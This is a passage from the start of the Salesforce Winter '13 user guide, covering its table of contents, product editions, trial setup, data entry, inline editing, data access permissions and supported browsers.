Anda di halaman 1dari 4042

User Guide: Winter '13

How to be Successful with Salesforce

Last updated: October 20 2012


Copyright 20002012 salesforce.com, inc. All rights reserved. Salesforce.com is a registered trademark of salesforce.com, inc., as are other

names and marks. Other marks appearing herein may be trademarks of their respective owners.

Table of Contents

Table of Contents
Welcome.............................................................................................................................................1 What's New in Salesforce?....................................................................................................................1
Overview...................................................................................................................................................................................2 Getting Started..........................................................................................................................................................................9

Working in Salesforce........................................................................................................................28
Personal Setup.........................................................................................................................................................................28 Home Tab...............................................................................................................................................................................55 Accounts..................................................................................................................................................................................64 Activities................................................................................................................................................................................119 Contacts................................................................................................................................................................................180 Contact Roles........................................................................................................................................................................218 Contracts...............................................................................................................................................................................221 Custom Object Records........................................................................................................................................................234 Documents............................................................................................................................................................................245 Email.....................................................................................................................................................................................255 List Views..............................................................................................................................................................................270 Notes & Attachments...........................................................................................................................................................285 Salesforce CRM Content......................................................................................................................................................290 Salesforce for Google Apps...................................................................................................................................................320 Search and Tags....................................................................................................................................................................339 Salesforce Touch...................................................................................................................................................................380

Administering Salesforce..................................................................................................................385
Setting Up Your Organization..............................................................................................................................................385 Company Information...........................................................................................................................................................390 Multiple Currencies...............................................................................................................................................................449 Advanced Currency Management.........................................................................................................................................455 Divisions................................................................................................................................................................................458 Managing Mail Merge Templates.........................................................................................................................................466 Using Letterheads.................................................................................................................................................................471 Managing Email Templates..................................................................................................................................................474 Translation Workbench........................................................................................................................................................492 User Management.................................................................................................................................................................507 Security and Sharing..............................................................................................................................................................619 Data Management.................................................................................................................................................................767 Data.com Administration......................................................................................................................................................888 D&B Company Administration............................................................................................................................................912 Administering Data.com Clean.............................................................................................................................................922 Monitoring............................................................................................................................................................................945 Salesforce Mobile..................................................................................................................................................................975

Table of Contents Administering Salesforce for Outlook.................................................................................................................................1028 Email Administration..........................................................................................................................................................1051 Search and Tags..................................................................................................................................................................1063 Customize...........................................................................................................................................................................1067 Critical Updates Console.....................................................................................................................................................1678 Force.com Sites...................................................................................................................................................................1682 Live Agent Setup.................................................................................................................................................................1731 Customer Portal..................................................................................................................................................................1751

Building and Extending Apps..........................................................................................................1802


App Setup Overview...........................................................................................................................................................1802 Create..................................................................................................................................................................................1803 Develop...............................................................................................................................................................................2084 Deploy.................................................................................................................................................................................2316 Installed Packages................................................................................................................................................................2335

Building Sites.................................................................................................................................2364
Site.com Overview...............................................................................................................................................................2364 Setting Up Users..................................................................................................................................................................2365 Getting Started with Site.com.............................................................................................................................................2372 Creating and Managing Sites..............................................................................................................................................2381 Creating and Managing Folders..........................................................................................................................................2388 Importing and Managing Assets.........................................................................................................................................2389 Creating and Managing Pages.............................................................................................................................................2391 Adding Features and Page Elements...................................................................................................................................2405 Styling Your Website..........................................................................................................................................................2426 Working with Dynamic Data..............................................................................................................................................2439 Using Events to Create Animated Effects...........................................................................................................................2470 Editing Site Content...........................................................................................................................................................2474 Previewing Site.com Sites....................................................................................................................................................2484 Managing Domains and Live Sites.....................................................................................................................................2485

Collaborating with Chatter.............................................................................................................2493


Chatter Overview................................................................................................................................................................2493 Chatter Terminology...........................................................................................................................................................2494 Using Chatter......................................................................................................................................................................2496 Chatter Tab Overview.........................................................................................................................................................2497 User Profiles........................................................................................................................................................................2497 People..................................................................................................................................................................................2502 Groups.................................................................................................................................................................................2505 Feeds...................................................................................................................................................................................2518 Files.....................................................................................................................................................................................2541 Search..................................................................................................................................................................................2562 Topics..................................................................................................................................................................................2564 Chatter Activity and Influence............................................................................................................................................2566 Favorites..............................................................................................................................................................................2566

ii

Table of Contents Bookmarks...........................................................................................................................................................................2569 Messages..............................................................................................................................................................................2570 Chat.....................................................................................................................................................................................2575 Email Notifications.............................................................................................................................................................2581 Recommendations...............................................................................................................................................................2583 Moderating Chatter............................................................................................................................................................2584 Chatter Desktop..................................................................................................................................................................2586

Selling............................................................................................................................................2597
Account Teams...................................................................................................................................................................2597 Assets...................................................................................................................................................................................2604 Competitors.........................................................................................................................................................................2612 Forecasting..........................................................................................................................................................................2616 Customizable Forecasts.......................................................................................................................................................2623 Forecasts..............................................................................................................................................................................2634 Opportunities......................................................................................................................................................................2651 Quotes.................................................................................................................................................................................2670 Data.com.............................................................................................................................................................................2684 D&B Companies.................................................................................................................................................................2717 Data.com Clean...................................................................................................................................................................2725 Products...............................................................................................................................................................................2733 Opportunity Teams.............................................................................................................................................................2764 Territory Management........................................................................................................................................................2773 Salesforce for Wealth Management....................................................................................................................................2802 Relationship Groups............................................................................................................................................................2811 Salesforce for Outlook.........................................................................................................................................................2829 Connect for Outlook...........................................................................................................................................................2869 Connect for Lotus Notes.....................................................................................................................................................2897 Connect for Office..............................................................................................................................................................2927 Connect Offline..................................................................................................................................................................2934 Mail Merge..........................................................................................................................................................................2956

Marketing......................................................................................................................................2962
Campaigns...........................................................................................................................................................................2962 Leads...................................................................................................................................................................................3011 Salesforce for Google AdWords..........................................................................................................................................3044

Analytics........................................................................................................................................3059
Reporting on Salesforce Data .............................................................................................................................................3059 Dashboards..........................................................................................................................................................................3214 Report Types.......................................................................................................................................................................3269 Analytic Snapshots..............................................................................................................................................................3278

Providing Support..........................................................................................................................3293
Call Center..........................................................................................................................................................................3293 Cases....................................................................................................................................................................................3338

iii

Table of Contents Using Case Feed..................................................................................................................................................................3381 Case Teams.........................................................................................................................................................................3415 Portals..................................................................................................................................................................................3427 Solutions..............................................................................................................................................................................3429 Salesforce Knowledge..........................................................................................................................................................3452 Console................................................................................................................................................................................3489 Service Cloud Console........................................................................................................................................................3501 Ideas....................................................................................................................................................................................3514 Answers...............................................................................................................................................................................3529 Chatter Answers..................................................................................................................................................................3542 Social Media........................................................................................................................................................................3548 Entitlement Management...................................................................................................................................................3549 Using Live Agent................................................................................................................................................................3608

Partner Selling................................................................................................................................3632
Salesforce to Salesforce........................................................................................................................................................3632 Connection Finder..............................................................................................................................................................3665 Partners...............................................................................................................................................................................3669 Partner Portal......................................................................................................................................................................3674

Checkout.......................................................................................................................................3722
Checkout.............................................................................................................................................................................3722

More Resources..............................................................................................................................3727
FAQ....................................................................................................................................................................................3727 Printable Tip Sheets & User Guides...................................................................................................................................3923 Accessibility.........................................................................................................................................................................3934 Salesforce Online Help Glossary.........................................................................................................................................3943

Index..............................................................................................................................................3979

iv

WELCOME

What's New in Salesforce?


Current Release
The latest release includes new features for sales, support, marketing, and Chatter users as well as enhancements to the platform. For more information, visit the Winter 13 community page. For a complete listing of new features along with implementation tips and best practices, see: Winter 13 Release Notes Force.com Connect for Lotus Notes Release Notes Force.com Connect for Office Release Notes Force.com Connect Offline Release Notes Force.com Connect for Outlook Release Notes Salesforce for Outlook Release Notes Database.com Release Notes

Past Releases
For information about new features introduced in previous releases, see: Summer '12 Release Notes Spring '12 Release Notes Winter '12 Release Notes Summer '11 Release Notes Spring '11 Release Notes Winter '11 Release Notes Summer '10 Release Notes Spring '10 Release Notes Winter '10 Release Notes Summer '09 Release Notes Spring '09 Release Notes Winter '09 Release Notes Summer '08 Release Notes Spring '08 Release Notes Winter '08 Release Notes Summer '07 Release Notes Spring '07 Release Notes Force.com Mobile 7.0 for BlackBerry Release Notes Force.com Mobile 6.1 for Windows Mobile 5 Release Notes Winter '07 Release Notes Summer '06 Release Notes

Overview

Introduction

Winter '06 Release Notes Force.com Mobile 6.0 Release Notes Summer '05 Release Notes Winter '05 Release Notes Summer '04 Release Notes Spring '04 Release Notes Winter '04 Release Notes

OVERVIEW
Introduction
Your Edition determines which features and functionality you can access. To determine which Edition you are using, check the title bar of your browser.

Welcome to the award-winning cloud-computing provider designed for you to manage your customer relationships, integrate with other systems, and build your own applications. Salesforce includes the following products and services: Salesforce Applications Salesforce includes prebuilt applications for customer relationship management (CRM) ranging from sales force automation to partner relationship management, marketing, and customer service. Force.com Platform The Force.com platform is the first platform as a service (PaaS), enabling developers to create and deliver any kind of business application entirely on-demand and without software. The platform also includes easy-to-use, point-and-click customization tools to help you create solutions for your unique business requirements, without any programming experience. Database.com Database.com is a multitenant cloud database service thats designed to store data for mobile, social enterprise applications. You can use Database.com as the back-end database for applications that are written in any language and run on any platform or mobile device. Database.com's built-in social computing infrastructure and native support for building sophisticated REST-based APIs enable you to create employee-facing, native mobile and social apps. AppExchange AppExchange is a marketplace featuring hundreds of cloud applications created by salesforce.com customers, developers, and partners. Many of the applications are free and all of them are pre-integrated with Salesforce, enabling you to easily and efficiently add functionality.

Overview

What Is an Edition?

Salesforce.com Community Salesforce.com provides training, support, consulting, events, best practices, and discussion boards to help you be successful. Visit Salesforce.com Community.

See Also:
Sales Cloud Overview Service Cloud Overview What Is an Edition? Personal Edition Group Edition Professional Edition Enterprise Edition Unlimited Edition Developer Edition Database.com Edition

What Is an Edition?
Your Edition determines which features and functionality you can access. To determine which Edition you are using, check the title bar of your browser.

Salesforce.com offers several bundles of its products and services, each geared toward a different set of business needs. These bundles, called Editions, all have the same look and feel, but vary by feature, functionality, and pricing. For example, a feature that is available in Professional Edition for an additional fee may be included in Enterprise Edition. For a comparison chart of Editions and their features, see Selecting the right Salesforce Edition. The online help describes all generally available features, including those that may not be available in your Edition. Refer to the Available in: line at the top of a help topic to see if it applies to your Edition.

See Also:
Introduction Personal Edition Group Edition Professional Edition Enterprise Edition Unlimited Edition Developer Edition Understanding User License Types

Overview

Personal Edition

Personal Edition
Personal Edition is a CRM solution designed for an individual sales representative or other single user. Personal Edition provides access to key contact management features such as accounts, contacts, and synchronization with Microsoft Outlook. It also provides sales representatives with sales tools such as opportunities. Beginning with the Summer '09 release which occurred in June 2009, new organizations do not include access to opportunities. Organizations that signed up prior to June 2009 still have access to opportunities.

Contact Manager
Contact Manager is designed for small businesses and provides access to key contact management features including accounts, contacts, activities, calendars, notes and attachments, and reports. Contact Manager also provides straightforward and easy-to-use customization options. For more information about Contact Manager features, visit the Salesforce Pricing & Editions page.

Group Edition
Salesforce Group Edition is designed for small businesses and workgroups with a limited number of users. Group Edition users can manage their customers from the start of the sales cycle through closing the deal to providing customer support and service. Group Edition offers access to accounts, contacts, opportunities, leads, cases, dashboards, and reports. For more information about Group Edition features, visit the Salesforce Pricing & Editions page.

See Also:
Tip sheet: Using Group Edition Administrator tip sheet: Setting Up Group Edition

Professional Edition
Salesforce Professional Edition is designed for businesses who need full-featured CRM functionality. Professional Edition includes straightforward and easy-to-use customization, integration, and administration tools to facilitate any small- to mid-sized deployment. For more information about Professional Edition features, visit the Salesforce Pricing & Editions page.

Enterprise Edition
Salesforce Enterprise Edition is designed to meet the needs of large and complex businesses. In addition to all of the functionality available in Professional Edition, Enterprise Edition organizations get advanced customization and administration tools that can support large-scale deployments. Enterprise Edition also includes access to the Web services API so you can easily integrate

Overview

Unlimited Edition

with back-office systems. For more information about Enterprise Edition features, visit the Salesforce Pricing & Editions page.

See Also:
Administrator setup guide: Enterprise Edition Upgrade Guide Force.com API Usage Limits

Unlimited Edition
Unlimited Edition is salesforce.com's flagship solution for maximizing CRM success and extending that success across the entire enterprise through the Force.com platform. Unlimited Edition customers benefit from new levels of platform flexibility for managing and sharing all of their information on demand. Unlimited Edition includes all Enterprise Edition functionality plus Premier Support, full mobile access, unlimited custom apps, increased storage limits, and more. For more information about Unlimited Edition features, visit the Salesforce Pricing & Editions page.

See Also:
Enterprise Edition Force.com API Usage Limits

Developer Edition
Developer Edition provides access to the Force.com platform and API. It allows developers to extend the Salesforce system, integrate with other applications, and develop new tools and applications. Developer Edition provides access to many of the features available with Enterprise Edition. Salesforce.com does not provide technical support for Developer Edition. You can solicit help from the developer community message boards available to registered users via the Force.com developer website - developer.force.com. Documentation for Developer Edition is available from the Technical Library.

See Also:
Force.com API Usage Limits

Database.com Edition
Database.com is a multitenant cloud database service thats designed to store data for mobile, social enterprise applications. You can use Database.com as the back-end database for applications that are written in any language and run on any platform or mobile device. Database.com's built-in social computing infrastructure and native support for building sophisticated REST-based APIs enable you to create employee-facing, native mobile and social apps. As a Salesforce user, youre already using Database.com when youre performing tasks such as creating custom objects, managing security, or importing data with the Force.com platform and API.

Overview

Sales Cloud Overview

A standalone version of Database.com is available for developers who want to create applications that leverage other languages, platforms, and devices.

See Also:
Getting Started with Database.com

Sales Cloud Overview


Your Edition determines which features and functionality you can access. To determine which Edition you are using, check the title bar of your browser.

The Sales Cloud helps you build stronger relationships with customers, gain better visibility into sales, and close more deals, whether you're in the office or on the road. Sales Cloud features are listed below.

Selling
Account and Contact Management Accounts Account Teams Contacts Contact Roles Data.com Contracts

Opportunities Opportunities Products Quotes Competitors Team Selling Forecasts

Marketing
Leads Campaigns Salesforce for Google AdWords

Analytics
Analytic Tools Reports Dashboards

Overview

Service Cloud Overview

Partner Selling
Partners Partner Portal Salesforce to Salesforce

Productivity Resources
Collaboration Chatter Files Tab

Calendar and Email Activities Email Salesforce for Outlook Mail Merge

Content Files Tab Salesforce CRM Content Document Library Salesforce for Google Apps Connect for Office

Mobile Salesforce Mobile

Offline Connect Offline

See Also:
Service Cloud Overview Introduction

Service Cloud Overview


Your Edition determines which features and functionality you can access. To determine which Edition you are using, check the title bar of your browser.

The Service Cloud helps you provide more responsive customer service, increase agent productivity, reduce service costs, and gain better visibility into your service organization, whether you're in the office or on the road. Service Cloud features are listed below.

Overview

Service Cloud Overview

Contact Center
Case Management Cases Case Feed Case Teams Email-to-Case Web-to-Case Console Tab Service Cloud Console Live Agent

Workflow Case Auto-Response Rules Case Assignment Rules Case Escalation Rules Custom Workflow Rules

Telephony Computer-Telephony Integration (CTI) Computer-Telephony Integration Toolkit

Salesforce Knowledge Base


Salesforce Knowledge Data Categories

Solutions
Solutions HTML Solutions

Entitlements and Service Contracts


Entitlement Management

Email Templates
Text, HTML, and Visualforce Email Templates

Web Portals
Customer Portal Partner Portal

Community
Answers Ideas Salesforce for Twitter and Facebook

Getting Started

Getting Started with Salesforce

Analytics
Analytic Tools Reports Dashboards

Productivity Resources
Collaboration Chatter Files Tab

Calendar and Email Activities Email Salesforce for Outlook Mail Merge

Content Files Tab Salesforce CRM Content Document Library Salesforce for Google Apps Connect for Office

Mobile Salesforce Mobile

Offline Connect Offline

See Also:
Sales Cloud Overview Introduction

GETTING STARTED
Getting Started with Salesforce
Available in: All Editions except Database.com

With Salesforce, you can enter, organize, and find your important business data. To get started, review these preliminary steps.

Getting Started

Trial Overview

For All Users


Review the Salesforce online training courses. Edit your personal information. Import your existing contacts.

For Administrators
Set up your Salesforce organization. Import your company's existing data.

For Developers
Review the Documentation Resources for Force.com Developers.

See Also:
Language Settings Overview Error Messages Entering Data

Language Settings Overview


Available in: All Editions except Database.com

The Salesforce Web user interface, Salesforce for Outlook, Connect for Outlook, Connect Offline, and Connect for Office are available in multiple languages. The Salesforce Web user interface has two language settings: Personal languageAll on-screen text, images, buttons, and online help display in this language. Edit your personal information to change this setting. Default organization languageThis applies to all new users until they select their personal language. This setting also determines the language in which all customizationssuch as custom fields, tabs, and user interface optionsare stored. For customizations, users' personal language settings don't override this default setting. Some setup items that are manually entered by an administrator can be translated in the Translation Workbench. Administrators can change this setting by editing the company information. Text entered by users remains in the language in which it was entered.

Trial Overview
Available in: All Editions except Database.com

During your trial, you can evaluate Salesforce before you subscribe. Your trial includes:

10

Getting Started

Trial Overview

Sample data. You can delete sample data or start a new trial. Administrator privileges. The person who signed up automatically becomes the administrator. You can add another administrator when you add more users. A variety of Salesforce features. The ability to subscribe to Salesforce. Note: Features included in your trial may not be available in the Edition you choose to purchase. If you set up multiple users in your trial and later choose to convert to Personal Edition, all users except the original system administrator will be deactivated.

See Also:
Adding or Subtracting User Licenses

Deleting Trial Data


Available in: All Editions except Database.com

User Permissions Needed To delete trial data: Modify All Data

When you sign up for Salesforce, your organization is initially populated with some sample data. During your trial period, administrators can delete all of this sample data plus all of your organizations data at one time. To delete all of the existing data in a trial organization: 1. Click Your Name > Setup > Data Management > Delete All Data. This link is available only during your trial period. 2. Enter the requested text stating that you understand that all of the data in your organization will be deleted. This includes both sample data and data you have entered. Your user and administration setup is not affected. 3. Click Submit. After your trial period has ended, you can delete any sample data manually or with the Mass Delete feature.

See Also:
Trial Overview Starting a New Trial

11

Getting Started

Troubleshooting Login Issues

Starting a New Trial


Available in: Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

User Permissions Needed To start a new trial: Modify All Data

When you sign up for Salesforce, you can choose an industry-specific template with sample data. During your trial period, you can start a new trial with a blank template. To start a new trial, you must abandon your current trial, including all data and customizations. You can start a new trial if you have: Less than 1000 rows of data No additional user licenses added by salesforce.com No additional functionality enabled by salesforce.com

To start a new trial: 1. Click Your Name > Setup > Data Management > Start a New Trial. This link is available only during your trial period. 2. Select your language and template preferences. 3. Enter the requested text stating that you want to abandon your current trial organization and all of its data. This includes both sample data and data you have entered. 4. Check the box to confirm that all of your current trial data will be lost. 5. Click Submit. 6. When the confirmation page appears, click Submit. Note: By choosing to start a new trial, you are abandoning your current trial organization including all existing data and customizations. You will no longer be able to access the trial or data. Only usernames will be preserved.

See Also:
Trial Overview Deleting Trial Data

Troubleshooting Login Issues


Available in: All Editions except Database.com

Logging in for the first time: 1. Your administrator adds you as a user.

12

Getting Started

Navigating

2. You receive an email with a link. Click the link to log in. 3. While logging in, you are prompted to change your password, and set a security question response. The first time you log in you are prompted to change the temporary password that was emailed to you. Salesforce recommends that you change your password periodically to protect the privacy of your data. If your administrator has set the User passwords expires in setting, you must change your password periodically. Overcoming password issues: Forgot your password? Retrieve it. Locked out? Wait until the lockout period expires and try again, or contact your administrator. Password expired? Change your password when prompted.

The password policies set up by your administrator determine how many failed logins are allowed, how long the lockout period lasts, and password requirements such as minimum length. Note: If your session is inactive for a period of time, the system prompts you to continue working or log out. If you don't respond to this time-out prompt, the system displays a login page.

Navigating
Available in: All Editions except Database.com

You can navigate between pages and select options using standard text and button links. On any detail page you can click the Back to List: link to return to your most recently viewed list page. The kind of list that you will be returning to is appended after the colon. For example, if the last list page you viewed was the 'D' page of the All Accounts view, clicking Back to List: Accounts returns you to that page. Similarly, if your most recently viewed list page was a list of cases, then the link would be Back to List: Cases. The link isn't available if you haven't viewed any list pages in your current session. If your organization has enabled collapsible page sections, use the arrow icons next to the section headings to expand or collapse each section on the detail page. Note: Buttons and links mentioned in the online help only display for users who have the appropriate user permissions.

See Also:
About the Sidebar Navigating Long Lists

13

Getting Started

Entering Data

Entering Data
Available in: All Editions except Database.com

Remember to click Save so you dont lose your changes. Required fields are marked with red on editable pages. All other fields are optional. Use inline editing to edit fields directly on the detail page. If inline editing isn't enabled, contact your administrator.

See Also:
Entering Dates and Times Entering Currency Entering Phone Numbers Selecting Picklist Values

Entering Dates and Times


Available in: All Editions except Database.com

Many fields allow you to enter a date or a time in the format specified by your Locale setting. For more information about these formats, see What format is used for dates, times, and names in Salesforce? on page 3731. To enter a time, do one of the following: Click the link next to the field on the edit page to enter the current time. Manually enter a time in the format allowed by your Locale setting.

To enter a date: 1. Click in the date or date/time field on an edit page. 2. Choose a date from the calendar, or manually enter a date. All dates display with four digits for the year, although you can enter two or four digits according to these guidelines. Examples are shown in the English (United States) locale: Enter two digits from 00 to 59 for years 2000 - 2059, for example, 12/30/40 is saved as December 30, 2040 Enter two digits from 60 to 99 for years 1960 - 1999, for example, 12/30/60 is saved as December 30, 1960 Enter four digits for any year from 1700 to 4000

3. Optionally, enter a literal date value. If your locale and language are English, you can use the following literal date values for entering dates:

14

Getting Started

Entering Data

Literal Date Value Yesterday Today Tomorrow Monday Tuesday Wednesday Thursday Friday Saturday Sunday mm/dd

Range The day before the current day. The current day. The day after the current day. The next Monday. If the current day is Monday, the current day. The next Tuesday. If the current day is Tuesday, the current day. The next Wednesday. If the current day is Wednesday, the current day. The next Thursday. If the current day is Thursday, the current day. The next Friday. If the current day is Friday, the current day. The next Saturday. If the current day is Saturday, the current day. The next Sunday. If the current day is Sunday, the current day. The values for the day and month and the current year. For example, 12/31 would expand to 12/31/2009 if the year is 2009. The values for the day and month and the current year. For example, 12.31 would expand to 12/31/2009 if the year is 2009. The values for the day and month and the current year. For example, 12-31 would expand to 12/31/2009 if the year is 2009.

mm.dd

mm-dd

If the field is a date/time field, the time is set to the current time. These literal date values are not case sensitive. Tip: You can set these literal date values using the first three letters. For example, yes for yesterday or mon for Monday. For additional literal date values, see Literal Date Values for Filter Criteria.

Minimum and Maximum Dates Only dates within a certain range are valid. The earliest valid date is 1700-01-01T00:00:00Z GMT, or just after midnight on January 1, 1700. The latest valid date is 4000-12-31T00:00:00Z GMT, or just after midnight on December 31, 4000.

15

Getting Started

Entering Data

Note: These values are offset by your time zone. For example, in the Pacific time zone, the earliest valid date is 1699-12-31T16:00:00, or 4:00 PM on December 31, 1699.

See Also:
Entering Data Entering Currency Entering Phone Numbers Selecting Picklist Values

Entering Currency
Available in: All Editions except Database.com

In currency fields such as Quota or Annual Revenue, the Currency Locale setting in your Company Information determines the format and currency type of amounts you enter. For Group, Professional, Enterprise, and Unlimited Edition organizations that use multiple currencies, the format and currency type is determined by the Currency field in the record. When you enter a monetary amount (or any other type of number), you can use the shortcuts k, m, or b to indicate thousands, millions, or billions. For example, when you enter 50k it displays as 50,000. However, these shortcuts do not work for filter criteria.

See Also:
Entering Data Entering Dates and Times Entering Phone Numbers Selecting Picklist Values Managing Multiple Currencies

Entering Phone Numbers


Available in: All Editions except Database.com

When you enter phone numbers in various phone fields, Salesforce preserves whatever phone number format you enter. However, if your Locale is set to English (United States) or English (Canada), ten-digit phone numbers and eleven-digit numbers that start with 1 are automatically formatted as (800) 555-1212 when you save the record. If you do not want this formatting for a ten- or eleven-digit number, enter a + before the number, for example, +49 8178 94 07-0.

16

Getting Started

Entering Data

Note: If your ten- and eleven-digit phone numbers have Salesforces automatic format, you may need to enter the parentheses when specifying filter conditions in areas such as custom reports, custom views, and lead assignment rules, for example, Phone starts with (415).

See Also:
Entering Data Entering Dates and Times Entering Currency Selecting Picklist Values

Selecting Picklist Values


In Salesforce, you may encounter a few different types of picklist fields: Standard picklists - Click the down arrow to select a single value. Multi-select picklists - Double click on any available value in one scrolling box to add that value to the selected scrolling box on the right. You can choose a single value or multiple values. To select values within a range, select the first value and click the last value in the range while holding down the SHIFT key; then, click the arrow to add selections to the chosen box. Dependent and controlling picklists work in conjunction with each other. The value chosen in the controlling picklist affects the values available in its dependent picklist. Both controlling and dependent picklists are indicated on edit pages by an icon. Hover your mouse over the icon to display the name of the controlling or dependent picklist.

See Also:
Entering Data Entering Dates and Times Entering Currency Entering Phone Numbers

Editing Data Using Inline Editing


Inline editing settings available in: All Editions except Database.com

User Permissions Needed To enable inline editing: Customize Application

Inline editing allows users to quickly change field values on a record's detail page, saving the user from having to access the record's edit page first.

17

Getting Started

Entering Data

To enable inline editing for your organization, see Customizing User Interface Settings on page 1667. To edit a record using inline editing: 1. Hover your mouse over the field you want to change: indicates an editable field indicates a read-only field (such as Last Modified By)

2. Double-click the highlighted region next to the field. The field changes to edit mode. Salesforce displays compound fields in a dialog box so that all portions of the field can be edited. Examples of compound fields include addresses, first and last names, dependent picklists, and dependent lookups. 3. Enter the new value. Press Esc while your cursor is in a field's edit box to revert a change for that field. 4. Click away from the field to confirm your change and continue making edits. If you are editing a field that is not a text area field, you can also press Enter to confirm your change. Confirmed changes display in bold orange text. To revert a change, click next to the field. 5. Press Enter again or click Save to commit all confirmed changes. Important: Salesforce doesn't save confirmed changes to field values until you commit them by pressing the Enter key a second time or clicking Save. Navigating away from the page without committing changes cancels all edits made to the record.

Tips for Saving Inline Edits Press Enter while your cursor is in a field's edit box to confirm the change for that field. Press Enter when no fields are in edit mode to save all edits to the record.

Unsupported Behaviors Removing the Edit button from a page layout doesn't prevent users from modifying the record using inline editing. To prevent users from editing data altogether, administrators should use any combination of sharing rules, field-level security, page layout field properties, validation rules, permissions or Visualforce pages. Inline editing isn't available for users with accessibility mode enabled. Inline editing isn't available for the following standard checkboxes on case and lead edit pages: Case Assignment (Assign using active assignment rules) Case Email Notification (Send notification email to contact) Lead Assignment (Assign using active assignment rule) You can't use inline editing on setup pages. Solution descriptions can't be modified using inline editing if HTML solutions are enabled. Inline editing isn't supported in the Customer Portal. You can use inline editing to change the values of fields on records for which you have read-only access, either via field-level security or your organization's sharing model; however, Salesforce doesn't let you save your changes, and displays an insufficient privileges error message when you try to save the record. Inline editing isn't supported in the dashboard. The fields in the following standard objects are not inline editable. All fields in Documents and Pricebooks All fields in Tasks except for Subject and Comment All fields in Events except for Subject, Desription, and Location

18

Getting Started

Entering Data

Full name fields of Person Accounts, Contacts, and Leads. However, their component fields are, for example, First Name and Last Name. Special Cases Inline editing is available on detail pages for all editable fields on edit pages, except for some fields on tasks, events, price books, and documents. To edit any of these, navigate to the edit page of a record, change the value of the field desired, and then click Save. The following table lists the objects that have inline editing restrictions on some of their fields. You may need special permissions to view some of these fields: Object All Objects Opportunities Fields All fields are editable except long text area fields. All fields are editable, except the following fields are only editable on detail pages (not on list views): Amount Stage Forecast Category Quantity All fields are editable, except Lead Status is only editable on detail pages (not on list views). All fields are editable, except Case Status is only editable on detail pages (not on list views). All fields are editable, except Contract Status is only editable on detail pages (not on list views). Only the following fields are editable: Description Location Subject Type Custom fields Only the following fields are editable: CallType Description Subject Type Custom fields No fields are editable. No fields are editable.

Leads Cases Contracts Events

Tasks

Documents Pricebooks

19

Getting Started

Accessing Data

Error Messages
While using Salesforce, you may occasionally get an error message. Typically, this happens when you try to view, edit, or delete information to which you don't have access. The message page that displays should explain the reason for the error. Click your browsers Back button to return to the previous page. If you feel you have incorrectly received an error, click Help & Training at the top of any page and select the My Cases tab to submit your issue directly to Customer Support.

Accessing Data
Available in: All Editions except Database.com

Your administrator can customize many different areas to secure your company's data. Additionally, users in Professional, Enterprise, Unlimited, and Developer edition organizations can control the access that other users have to their data by sharing records individually with colleagues. To determine whether you can access data, review this table: Action To view a tab: Access Needed You must have the Read permission on the records within that tab. Make sure you have customized your personal display to show the tab. Make sure you have the Read permission on the type of record you want to view. Professional, Enterprise, Unlimited, and Developer Edition organizations can set a sharing model that determines the access users have to records they do not own. Depending on your sharing model, the owner may need to share the record with you if you are not the owner of the record or above the owner in the role hierarchy. Enterprise, Unlimited, and Developer Edition organizations can use territory management to grant access to accounts, opportunities, and cases. Make sure you have the Read permission on the type of record for the field. For Enterprise and Unlimited Edition organizations, check the field-level security; your field-level security settings may prevent you from seeing the field. Check your page layout; depending on your page layout settings, you may see some fields and not others.

To view a record:

To view a field:

20

Getting Started

Using Salesforce Help

Action To edit a field:

Access Needed Make sure you have the Edit permission on the type of record for the field. For Enterprise and Unlimited Edition organizations, check the field-level security; your field-level security settings may set a field to Read-Only. Check your page layout; page layouts can set fields to read only. Make sure you have the Read permission on the type of records displayed in the related list. Check your page layout; depending on your page layout settings, you may see some fields and not others. Make sure you have the necessary permission to perform the action. Buttons and links only display for users who have the appropriate user permissions to use them.

To view a related list:

To view a button or link:

Using Salesforce Help


All information in the online help applies to All Editions, unless otherwise noted.

The Salesforce Help site gives you the information you need to be successful. You can: Get Help for What You're Working On Find Answers to Your Questions Print Help Download Tip Sheets and Other Guides Review Documentation for Force.com Developers Contact Support

Get Help for What You're Working On On any Salesforce page, click Help for this Page to get context-sensitive help for the page. On any related list or overlay, click Help to get context-sensitive help. Find Answers to Your Questions To get targeted information, enter keywords or a phrase in the Help search box. You'll get a list of matching resources, which you can refine by role, language, application area, or document type: help documentation, knowledge articles from Customer Support, best practices, and training classes. For more information about the Help site's features and content, start with the How to Use Help gadget on the Help site home page.

21

Getting Started

Supported Browsers

Print Help Click Print this page from any Help page to print a single page. To print the entire user guide, which is a PDF version of the help documentation, click Printable User Guide in the Documentation gadget or from any Help page. Because the user guide is thousands of pages, we recommend you print only a single page or a range of pages. Download Tip Sheets and Other Guides You can find tip sheets, user guides, and other resources from Printable Tip Sheets & User Guides on page 3923. You can also access these documents from the Documentation gadget on the Help site home page. Review Documentation for Force.com Developers If you are working with the Force.com platform, you'll find the information you need in Documentation Resources for Force.com Developers on page 2269. You can also access developer documentation from the Documentation gadget on the Help site home page. Contact Support Click Contact Support on the Help site to choose your support option: talk by phone, chat, open a case, post a question to the Salesforce community, or take another action. Note: Salesforce.com makes every effort to ensure the accuracy of the information contained within the Help site, but assumes no responsibility or liability for any errors or inaccuracies that may appear. If you do find any errors, please use the feedback form at the bottom of every help page.

See Also:
Custom Help Overview Replacing Salesforce Online Help

Supported Browsers
Salesforce supports the following browsers: Browser Microsoft Internet Explorer versions 7, 8, 9, and 10 Comments If you use Internet Explorer, we recommend using the latest version. Apply all Microsoft hotfixes. Note these restrictions: The compatibility view feature in Internet Explorer is not supported. The Metro version of Internet Explorer 10 is not supported. For configuration recommendations, see Configuring Internet Explorer on page 26. Mozilla Firefox, most recent stable version Salesforce.com makes every effort to test and support the most recent version of Firefox. For configuration recommendations, see Configuring Firefox on page 24. Google Chrome, most recent stable version Google Chrome applies updates automatically; salesforce.com makes every effort to test and support the most recent version. There are no configuration

22

Getting Started

Supported Browsers

Browser

Comments recommendations for Chrome. Chrome is not supported for the Console tab or the Add Google Doc to Salesforce browser button.

Google Chrome Frame plug-in for Microsoft Internet Explorer 6 and 7

Supported plug-in for Internet Explorer 6 and 7 only. Google Chrome Frame applies updates automatically; Salesforce supports only the most recent version. For configuration recommendations, see Installing Google Chrome Frame for Microsoft Internet Explorer on page 27. Chrome Frame plug-in is not supported for the Service Cloud console or Forecasts. There are no configuration recommendations for Safari. Apple Safari on iOS is not supported. Safari is not supported for the Salesforce CRM Call Center CTI Toolkit or the Service Cloud console.

Apple Safari version 5.1.x on Mac OS X

